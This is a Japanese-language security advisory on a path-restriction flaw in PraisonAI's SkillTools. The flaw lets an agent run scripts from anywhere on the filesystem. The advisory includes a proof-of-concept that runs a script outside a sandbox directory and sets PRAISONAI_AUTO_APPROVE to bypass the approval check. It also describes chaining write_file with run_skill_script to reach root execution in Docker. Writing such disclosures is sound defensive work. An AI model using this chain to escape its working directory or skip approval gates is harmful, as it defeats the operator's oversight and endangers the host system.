PraisonAI: SkillToolsは、パスの制限範囲の検証なしにスクリプトを実行します。

### 概要
`SkillTools.run_skill_script()`は、`script_path`パラメータを受け取り、`subprocess.run()`を介してそれを実行しますが、パスの制限範囲の検証は行いません。`FileTools`には、ディレクトリトラバーサル検出機能を持つ`_validate_path()`がありますが、`SkillTools`にはそのような機能はありません。LLM(大規模言語モデル)からの指示によって、任意のスクリプトをファイルシステムの任意の場所から実行できてしまいます。高リスクのツールについては、`@require_approval`デコレータをYAMLの`approve:`で回避することができます。

### 詳細
`src/praisonai-agents/praisonaiagents/tools/skill_tools.py`(69行目~119行目):

```python
def run_skill_script(self, script_path: str, ...):
script_path = os.path.expanduser(script_path)
if not os.path.isabs(script_path):
script_path = os.path.join(self._working_directory, script_path)
script_path = os.path.abspath(script_path)

if not os.path.exists(script_path):
return f"Error: Script not found at {script_path}"

# パスのトラバーサルチェックは行われません。制限範囲の検証も行われません。
# そのパスにあるものを直接実行します。
result = subprocess.run(cmd, ...)
```

これに対し、`FileTools._validate_path()`(`src/praisonai-agents/praisonaiagents/tools/file_tools.py`、42行目~78行目)は、解決されたパスが作業ディレクトリ内に留まるかどうかを適切に検証します。

```python
def _validate_path(self, filepath: str) -> str:
# ...
cwd = os.path.abspath(os.getcwd())
if os.path.commonpath([absolute, cwd]) != cwd:
raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")
```

`SkillTools`には、これに相当するチェックはありません。

### 実証コード

```python
import os, tempfile
from praisonaiagents.tools.skill_tools import SkillTools

# "安全な"作業ディレクトリ(隔離環境)を作成します。
jail = tempfile.mkdtemp(prefix="skill_jail_")
```

```
# 隔離環境の外で悪意のあるスクリプトを作成
attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh")
with open(attack_script, 'w') as f:
f.write("#!/bin/bash\n")
f.write("echo \"PROOF_OF_EXPLOIT: スクリプトが隔離環境の外で実行されました\"\n")
f.write("echo \"USER: $(whoami)\"\n")
f.write("echo \"HOSTNAME: $(hostname)\"\n")
os.chmod(attack_script, 0o755)

# 承認をバイパス (Docker環境やYAMLの承認をシミュレート)
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"

st = SkillTools()
st._working_directory = jail # 隔離されていると仮定

# 隔離環境の外からスクリプトを実行 — パス検証は行われない!
result = st.run_skill_script(attack_script)
print(result)
# 出力例:
# PROOF_OF_EXPLOIT: Script executed outside jail
# USER: anushkavirgaonkar
# HOSTNAME: Anushkas-MacBook-Pro-2.local

# クリーンアップ
del os.environ["PRAISONAI_AUTO_APPROVE"]
os.unlink(attack_script)
os.rmdir(jail)
```

**テスト結果:** `/tmp/malicious_skill.sh` のスクリプトは、作業ディレクトリが隔離ディレクトリに設定されているにもかかわらず、正常に実行されました。出力は、`whoami` や `hostname` を含む、任意のスクリプトの実行を確認しています。パスの制限に関するチェックは存在せず、絶対パスがそのまま受け入れられ、実行されます。

### 影響
- **任意のスクリプトの実行**: ファイルシステム上の任意の場所から、任意のスクリプトを実行できます。
- **ファイル書き込みとの連携**: `write_file` (高リスクツールとしてYAMLで承認可能) を使用して悪意のあるスクリプトを書き込み、その後 `run_skill_script` で実行します。
- **Dockerにおけるルート権限の影響**: すべての PraisonAI Docker コンテナはルートユーザーで実行されます (USER ディレクティブは使用されないため)、したがって、エスケープされたスクリプトはフルルート権限で実行されます。

影響を受けるパッケージ:
- pip (Python) praisonaiagents: 影響を受けるバージョン <= 1.6.77、修正されたバージョン 1.6.78
```